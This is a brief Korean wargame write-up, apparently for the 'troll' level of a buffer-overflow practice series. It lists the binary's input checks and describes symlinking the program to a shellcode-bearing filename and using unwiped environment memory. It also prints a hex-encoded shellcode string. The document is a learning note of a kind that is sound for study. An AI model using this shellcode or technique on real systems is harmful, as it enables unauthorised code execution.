buffer hunter로 buffer[]는초기화 된다
argc==2이어야 한다
egghunter로 에그쉘은 사용할 수 없다
argv[1][47]=\xbf 이어야 한다.
argv[1]의 길이는 <=48이어야 한다.
argv[1]은 초기화 된다.
지워지지 않는 부분을 이용해야 한다.
argv[2]을 이용할 수 없으므로,
argv[0]을 이용한다!->계속 argv[0]의 주소가 바뀌어 할 수가 없었다. segmentation fault 계속 떠서 엄청 빡침ㄷㄷ
결국, 환경변수 부분에서 지워지지 않는 부분을 찾아서 그 부분을 이용했다.
환경변수 부분은 주소가 바뀌지 않는다는데...??
스택의 윗부분이기 때문이라고 한다. 왜 그런지 정확히 이해는 안간다.....
쉘코드가 포함된 파일 이름으로 troll을 심볼릭 링크를 시켜준다.
이때 , 쉘코드는 \x2f가 포함되지 않은 쉘코드
\xd9\xc5\xd9\x74\x24\xf4\xb8\x15\xc3\x69\xd7\x5d\x29\xc9\xb1\x0b\x31\x45\x1a\x03\x45\x1a\x83\xc5\x04\xe2\xe0\xa9\x62\x8f\x93\x7c\x13\x47\x8e\xe3\x52\x70\xb8\xcc\x17\x17\x38\x7b\xf7\x85\x51\x15\x8e\xa9\xf3\x01\x98\x2d\xf3\xd1\xb6\x4f\x9a\xbf\xe7\xfc\x34\x40\xaf\x51\x4d\xa1\x82\xd6
을 이용한다.
환경변수에서 지워지지 않는 부분이 있다.